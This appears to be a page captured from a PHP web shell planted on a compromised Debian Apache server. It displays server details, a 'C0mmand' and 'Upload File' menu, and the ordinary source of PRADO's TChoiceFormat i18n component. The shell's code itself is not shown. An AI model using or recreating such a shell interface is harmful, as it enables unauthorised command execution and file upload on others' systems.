|
Server IP : 10.2.73.233 / Your IP : 216.73.216.59 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ilpnowa/../ifk/web.back/framework/I18N/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* TChoiceFormat, I18N choice format component.
*
* @author Wei Zhuo <weizhuo[at]gmail[dot]com>
* @link http://www.pradosoft.com/
* @copyright Copyright © 2005-2014 PradoSoft
* @license http://www.pradosoft.com/license/
* @package System.I18N
*/
/**
* Get the ChoiceFormat class.
*/
Prado::using('System.I18N.core.ChoiceFormat');
Prado::using('System.I18N.TTranslate');
/**
* TChoiceFormat class.
*
* This component performs message/string choice translation. The translation
* source is set in the TGlobalization module. The following example
* demonstrates a simple 2 choice message translation.
* <code>
* <com:TChoiceFormat Value="1">[1] One Apple. |[2] Two Apples</com:TChoiceFormat>
* </code>
*
* The Choice has <b>Value</b> "1" (one), thus the translated string
* is "One Apple". If the <b>Value</b> is "2", then it will show
* "Two Apples".
*
* The message/string choices are separated by the pipe "|" followed
* by a set notation of the form
* # <tt>[1,2]</tt> -- accepts values between 1 and 2, inclusive.
* # <tt>(1,2)</tt> -- accepts values between 1 and 2, excluding 1 and 2.
* # <tt>{1,2,3,4}</tt> -- only values defined in the set are accepted.
* # <tt>[-Inf,0)</tt> -- accepts value greater or equal to negative infinity
* and strictly less than 0
* Any non-empty combinations of the delimiters of square and round brackets
* are acceptable.
*
* The string choosen for display depends on the <b>Value</b> property.
* The <b>Value</b> is evaluated for each set until the Value is found
* to belong to a particular set.
*
* Properties
* - <b>Value</b>, float,
* <br>Gets or sets the Value that determines which string choice to display.
* Since version 3.1.2 the following set notation is also possible.
*
* # <tt>{n: n % 10 > 1 && n % 10 < 5}</tt> -- matches numbers like 2, 3, 4, 22, 23, 24
*
* Where set is defined by the expression after <tt>n:</tt>. In particular, the expression
* accepts the following mathematical/logical operators to form a set of logical conditions
* on the value given by <tt>n</tt>:
* # <tt><</tt> -- less than.
* # <tt><=</tt> -- less than equals.
* # <tt>></tt> -- greater than.
* # <tt>>=</tt> -- greater than equals.
* # <tt>==</tt> -- of equal value.
* # <tt>%</tt> -- modulo, e.g., 1 % 10 equals 1, 11 % 10 equals 1.
* # <tt>-</tt> -- minus, negative.
* # <tt>+</tt> -- addition.
* # <tt>&</tt> -- conditional AND.
* # <tt>&&</tt> -- condition AND with short circuit.
* # <tt>|</tt> -- conditional OR.
* # <tt>||</tt> -- conditional OR with short circuit.
* # <tt>!</tt> -- negation.
*
* Additional round brackets can also be used to perform grouping.
*
* @author Xiang Wei Zhuo <weizhuo[at]gmail[dot]com>
* @version v1.0, last update on Fri Dec 24 21:38:49 EST 2004
* @package System.I18N
*/
class TChoiceFormat extends TTranslate
{
/**
* @return float the numerical value.
*/
public function getValue()
{
return $this->getViewState('Value','');
}
/**
* Sets the numerical choice value
* @param float the choice value
*/
public function setValue($value)
{
$this->setViewState('Value',$value,'');
}
/**
* Display the choosen translated string.
* Overrides the parent method, also calls parent's renderBody to
* translate.
*/
protected function translateText($text, $subs)
{
$text = parent::translateText($text, $subs);
$choice = new ChoiceFormat();
$value = $this->getValue();
$string = $choice->format($text, $value);
if($string)
return strtr($string, array('{Value}'=> $value));
}
}